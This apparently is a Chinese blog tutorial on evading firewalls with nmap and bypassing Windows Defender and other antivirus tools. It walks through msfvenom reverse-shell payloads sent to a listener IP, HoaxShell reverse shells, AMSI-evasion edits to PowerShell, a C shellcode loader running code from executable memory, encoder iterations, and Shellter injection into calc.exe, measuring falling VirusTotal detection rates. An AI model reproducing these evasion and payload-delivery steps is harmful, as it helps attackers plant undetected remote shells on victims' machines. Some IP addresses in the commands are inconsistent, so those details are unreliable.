15、网络渗透与反病毒绕过技术全解析

网络渗透与反病毒绕过技术全解析

在网络安全攻防的战场上,攻击者和防御者之间的较量从未停止。攻击者不断探索新的渗透技术以绕过防火墙和杀毒软件的检测,而防御者则努力提升安全措施以抵御攻击。本文将详细介绍一些常见的网络渗透技术以及绕过杀毒软件检测的方法。

1. 绕过防火墙的技术手段

防火墙是网络安全的重要防线,为了绕过它,攻击者采用了多种技术。

1.1 IP地址欺骗与诱饵IP

IP地址欺骗允许创建或手动选择一个诱饵IP地址,这使得入侵检测系统(IDS)或防火墙难以准确识别真实的源地址。使用 nmap -S <decoy-IP> targetIP nmap -D RND:<random host number> targetIP 命令可以实现这一技术。

1.2 数据包分段

数据包分段技术是将探测数据包分割后发送到目标,目标接收后再重新组装。这种方法可以有效绕过特定的IDS和防火墙。使用 nmap -f targetIP 命令即可执行该技术。

1.3 MAC地址欺骗

MAC地址欺骗通过改变原始MAC地址来隐藏发送者的真实身份,从而掩盖网络流量的来源。使用 nmap --spoof-mac <spoofed-MAC> targetIP 命令可实现此技术。

1.4 自定义数据包创建

自定义数据包可以发送特殊的数据包来扫描目标,绕过防火墙和其他安全措施。具体有以下几种方式:
- --data-length :指定附加数据的期望长度,使用 nmap --data-length <length> targetIP 命令。
- --data-string :向数据包中添加特定字符串,使用 nmap --data-string "<string>" targetIP 命令。
- --data :以十六进制格式提供自定义数据,使用 nmap --data <hex string> targetIP 命令。

1.5 Nmap脚本引擎脚本

Nmap脚本引擎(NSE)脚本可以使用特定的脚本来绕过防火墙限制并发现漏洞。这些脚本包含数据包分段、源端口操作、IP地址欺骗等技术。使用 nmap --script=firewall-bypass targetIP 命令可以执行脚本。

进行防火墙绕过侦察时,需要对目标进行深入研究,采用隐蔽的扫描技术,利用加密和隧道方法,躲避基于签名的检测,并巧妙操纵网络流量。

2. 绕过Windows Defender的方法

Windows系统自带的Windows Defender是一种安全控制机制。为了绕过它的检测并建立反向连接,我们分两个阶段进行。

2.1 第一阶段:探索Windows 10上反向连接的基本方法
  • 检查Windows Defender的启用和更新状态。
  • 使用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your_IP_Address> LPORT=<Listening_Port> -f <Payload_Format> -o <Output_File> 命令创建一个反向连接的有效负载。
  • 运行 python3 –m http.server 8080 命令启动Apache HTTP服务器,以便将有效负载传输到目标机器。
  • 在Windows 10机器上打开浏览器,访问 https://192.168.29.15/winpayload.exe 下载有效负载。
  • 然而,Windows Defender会在执行前阻止该有效负载,因此无法通过此方法建立反向连接。
2.2 第二阶段:使用HoaxShell和AMSI触发器绕过Windows Defender
  • 下载AMSI触发器二进制文件到Windows主机,建议在测试机器上进行此操作。下载链接: https://github.com/RythmStick/AMSITrigger/releases/tag/v3
  • 从GitHub下载HoaxShell,下载链接: https://github.com/t3l3machus/hoaxshell
  • 在攻击者机器(Kali Linux)上使用 wget https://github.com/t3l3machus/hoaxshell/archive/refs/heads/main.zip 命令下载HoaxShell。
  • 导航到HoaxShell文件夹,执行 python hoaxshell.py -s 192.168.29.15 -r -H "Authorization" 命令生成反向shell原始有效负载。
  • 将原始有效负载脚本复制到测试Windows 10机器的AMSI触发器文件夹中,创建一个文本文件,粘贴代码并保存为PowerShell脚本 .ps1
  • 在PowerShell中运行 .\AmsiTrigger_x64.exe -i .\winpayload.ps1 命令验证脚本是否被AMSI检测到。如果被检测到,可通过以下三种修改方法绕过检测:
  • 修改变量,识别以 $ 符号开头的变量。
  • 改变标准关键字的大小写。
  • 在命令关键字中间插入单引号( ' )。
  • 创建一个新的PowerShell脚本,再次运行 .\AmsiTrigger_x64.exe -i .\winpayload.ps1 命令测试是否成功绕过检测。
  • 将修改后的反向shell脚本带到目标Windows 10主机上,在PowerShell中执行,即可成功获得反向shell,进而可以进行权限提升和横向移动。
3. 反病毒绕过技术与工具

杀毒软件使用基于签名、启发式和行为的检测技术来识别和防止恶意软件。为了躲避这些检测方法,渗透测试人员采用了以下几种反病毒绕过技术:

技术 描述
代码混淆 使用加密、随机化和操作修改代码结构,使其更难检测。
多态性 生成具有相同功能的多个代码变体,以躲避基于签名的检测。
变形性 每次感染时改变代码和行为,使杀毒软件难以识别恶意软件。
打包和加密 压缩或加密恶意软件,以混淆其真实性质,防止轻易分析。
根工具包 篡改系统功能或API,以隐藏恶意活动和进程,避免被杀毒软件发现。
零日漏洞利用 在杀毒软件供应商开发出相应的签名或更新之前,利用未知的软件漏洞。

同时,还有一些反病毒绕过工具,如下表所示:

工具 描述
利用Metasploit模板和自定义二进制文件进行反病毒绕过 流行的渗透测试框架,具有利用漏洞和绕过杀毒软件的模块。
Shellter 动态shellcode注入工具,用于绕过杀毒软件。
Unicorn 基于PowerShell的工具,用于生成混淆且不可检测的有效负载可执行文件。
Phantom-Evasion 强大的绕过工具,提供各种混淆技术以绕过杀毒软件检测。
Invoke-Stealth 用于在渗透测试活动中躲避杀毒软件检测的工具。

下面是一个简单的mermaid流程图,展示了绕过Windows Defender的基本流程:

graph LR
    A[检查Windows Defender状态] --> B[创建基本有效负载]
    B --> C[传输有效负载]
    C --> D{是否被阻止?}
    D -- 是 --> E[使用HoaxShell和AMSI触发器]
    D -- 否 --> F[建立反向连接]
    E --> G[下载相关工具]
    G --> H[生成有效负载]
    H --> I[修改有效负载]
    I --> J[测试绕过检测]
    J --> K[获得反向shell]

通过以上介绍,我们可以看到网络渗透和反病毒绕过是一个复杂且不断发展的领域。攻击者需要不断学习和尝试新的技术,而防御者则需要加强安全措施,提高对各种攻击的防范能力。在实际应用中,我们应该遵守法律法规,仅将这些技术用于合法的安全测试和研究。

网络渗透与反病毒绕过技术全解析

4. 利用Metasploit模板和自定义二进制文件进行反病毒绕过

Metasploit是一个强大的渗透测试框架,它提供了各种模板和技术来有效绕过杀毒软件(AV)的检测。这些模板提供了代码混淆、多态性和打包等选项,以创建不太可能被AV软件标记的自定义有效负载。以下是具体的操作步骤:

4.1 基线有效负载
  • 首先,使用 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.29.15 LPORT=4444 -f exe > basepayload.exe 命令为32位Windows系统生成标准的msfvenom反向shell有效负载。
  • 然后,将生成的有效负载上传到VirusTotal,评估其检测率。此时检测比率为56/70。
  • 在有效负载生成过程中,自定义的shellcode会被注入到模板二进制文件中。可以通过执行 cd /usr/share/metasploit-framework/data/templates/src/pe/exe cat template.c 命令来观察。
4.2 技术1
  • 为了进一步降低VirusTotal的检测率,可以对代码进行一些更改,特别是在内存分配大小方面。
  • 重新编译标准模板并使用新编译的模板重新生成有效负载,具体命令如下:
  • i686-w64-mingw32-gcc template.c -lws2_32 -o avbypassummed.exe
  • sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.29.15 LPORT=4444 -x /usr/share/metasploit-framework/data/templates/src/pe/exe/avbypassummed.exe -f exe > /home/ummedmeel/Desktop/ummedpayload.exe
  • 将新生成的有效负载上传到VirusTotal,检测比率降至48/71。
4.3 技术2
  • 使用 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.29.15 LPORT=4444 -f c 命令导出reverse_tcp有效负载。
  • 在Windows系统上安装Visual Studio(社区版),创建一个新的空项目,右键单击源文件添加一个新项,命名为 main.cpp
  • main.cpp 文件中粘贴以下代码:
#include <stdio.h>
#include <windows.h>

unsigned const char payload[] = "";

size_t size = 0;

int main(int argc, char** argv) {

    char* code;

    printf("This is just a random string!\n");

    code = (char*)VirtualAlloc(NULL, size, 
MEM_COMMIT,PAGE_EXECUTE_READWRITE);

    memcpy(code, payload, size);

    ((void(*)())code)();

    return(0);
}
  • 从之前的有效负载生成过程中获取有效负载大小(不包括c文件的最终大小),将 payload[] 中的占位符替换为 buf[] 中生成的shellcode。
  • 引入随机文本以每次生成不同的签名。
  • 在Visual Studio中选择发布版本,启动最终有效负载的构建过程。
  • 生成的有效负载将存储在指定位置,将其上传到VirusTotal,检测比率降至41/70。
4.4 技术3
  • 使用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=191.168.29.15 LPORT=4444 -e x86/shikata_ga_nai -i 8 -f c 命令将reverse_tcp有效负载导出为编码的shellcode。可以根据情况调整迭代次数(最多25次)。
  • 重复上述在Visual Studio中的操作创建有效负载。
  • 将新生成的有效负载上传到VirusTotal,检测比率降至38/71。
5. Shellter的使用

Shellter是一个先进的动态shellcode注入工具,主要用于绕过AV软件和IDS。它通过动态加密或编码技术处理有效负载,并使用进程空心化技术将恶意shellcode注入到合法进程的内存空间中。以下是使用Shellter的具体步骤:
1. 在Kali Linux的终端中运行 shellter 命令安装并启动Shellter,选择自动模式。
2. 从 https://www.filehorse.com/download-windows7-calculator/download/ 下载计算器可执行文件。
3. 指定目标可执行文件作为有效负载的载体,这里使用 calc.exe
4. 选择隐身模式选项。
5. 在另一个终端中,执行 msfvenom -p windows/meterpreter/reverse_tcp LHOST=191.168.29.15 LPORT=4444 -e x86/shikata_ga_nai -i 8 -f raw > scode.raw 命令创建加密的自定义有效负载(原始格式)。
6. 返回之前的终端,导航到原始有效负载的位置。Shellter会自动分析载体可执行文件并识别潜在的注入点。选择使用自定义有效负载并提供有效负载文件的位置(这里选择选项C)。
7. Shellter会自动生成带有注入有效负载的修改后的载体可执行文件。
8. 将修改后的载体上传到VirusTotal,检测比率为12/71。

下面是一个mermaid流程图,展示了使用Shellter的流程:

graph LR
    A[安装并启动Shellter] --> B[下载目标可执行文件]
    B --> C[指定目标可执行文件为载体]
    C --> D[选择隐身模式]
    D --> E[生成自定义有效负载]
    E --> F[选择自定义有效负载并提供位置]
    F --> G[生成修改后的载体可执行文件]
    G --> H[上传到VirusTotal检查检测比率]

综上所述,网络渗透和反病毒绕过技术是一个充满挑战和变化的领域。攻击者不断探索新的方法来绕过安全防护,而防御者则需要不断更新和加强安全策略。无论是攻击者还是防御者,都需要深入了解这些技术,以便在网络安全的战场上取得优势。同时,我们必须始终遵守法律法规,将这些技术用于合法的安全测试和研究目的。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值